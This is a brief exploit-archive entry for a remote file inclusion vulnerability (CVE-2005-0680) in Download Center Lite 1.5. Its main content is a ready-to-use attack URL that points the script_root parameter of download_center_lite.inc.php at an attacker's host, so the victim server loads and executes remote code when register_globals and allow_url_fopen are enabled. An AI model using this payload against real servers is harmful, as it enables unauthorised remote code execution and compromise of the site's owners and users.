Download Center Lite (DCL) 1.5 - Remote File Inclusion

Related Vulnerabilities: CVE-2005-0680  
Publish Date: 10 Mar 2005
                							

                Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker_box]/

# milw0rm.com [2005-03-10]